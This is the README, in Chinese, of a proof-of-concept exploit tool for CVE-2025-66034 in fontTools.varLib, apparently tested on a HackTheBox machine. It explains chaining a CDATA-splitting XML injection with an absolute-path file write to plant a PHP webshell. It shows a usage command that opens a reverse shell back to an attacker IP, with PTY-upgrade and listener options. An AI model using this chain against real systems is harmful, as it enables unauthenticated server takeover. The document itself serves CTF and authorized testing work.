
CVE-2025-66034 - fontTools varLib 任意文件写入 → RCE PoC漏洞利用,针对fontTools.varLib中的任意文件写入+XML注入漏洞。
针对
fontTools.varLib中任意文件写入 + XML 注入漏洞的 PoC 利用 已测试于 HackTheBox — VarIaType
fontTools.varLib 处理 .designspace XML 文件以构建可变字体。两个弱点组合实现了未授权远程代码执行:
| # | 原语 | 详情 |
|---|---|---|
| 1 | 通过 CDATA 分割实现的 XML 注入 | 攻击者控制的 <labelname> 内部内容被逐字写入输出字体文件主体,允许注入任意数据 |
| 2 | 通过 os.path.join() 绕过实现的任意文件写入 | <variable-font> 的 filename 属性接受绝对路径。当传递给 os.path.join() 时,它会丢弃预期的输出目录并写入攻击者指定的任何文件系统路径 |
串联两种原语允许将 PHP webshell 写入 Web 可访问路径,从而实现无认证的远程代码执行。
python3 font_varlib.py \
--ip <攻击者-IP> \
--port <端口> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
pip install requests fonttools
fontTools.FontBuilder 生成两个最小的 .ttf 文件(source-light.ttf、source-regular.ttf)作为 designspace 所需的 master.designspace — 构建一个精心制作的 XML 文件:
<labelname> 内部的 CDATA 分割注入 PHP webshell<variable-font> 的 filename 设置为绝对写入路径,通过 os.path.join() 绕过 output_dir.designspace + master 字体通过 POST 提交至处理端点.php 文件,执行反弹 Shell 负载python3 -c 'import pty; pty.spawn("/bin/bash")' 生成 PTY,并设置 + 以获得完全交互式 Shell| 字段 | 内容 |
|---|---|
| CVE | CVE-2025-66034 |
| 受影响组件 | fontTools.varLib |
| 影响 | 未认证任意文件写入 → 远程代码执行 |
| 上下文 | 公开字体处理端点的 Web 应用程序 |
本工具仅用于授权渗透测试和 CTF 用途。 请勿在您不拥有或未经明确书面许可的系统上运行。
作者 4nuxd
| 标志 | 描述 |
|---|
--ip | 用于反弹 Shell 回连的攻击者 IP |
--port | 监听端口 |
--upload | 字体处理端点的完整 URL(POST) |
--webroot | 服务端绝对路径,映射至 Web 可访问目录 |
--shell | webshell 可被访问的基础 URL |
--no-listen | 跳过自动监听器 — 改为打印手动命令 |
--pwncat | 使用 pwncat-cs 替代 nc(若可用则优先) |
TERMstty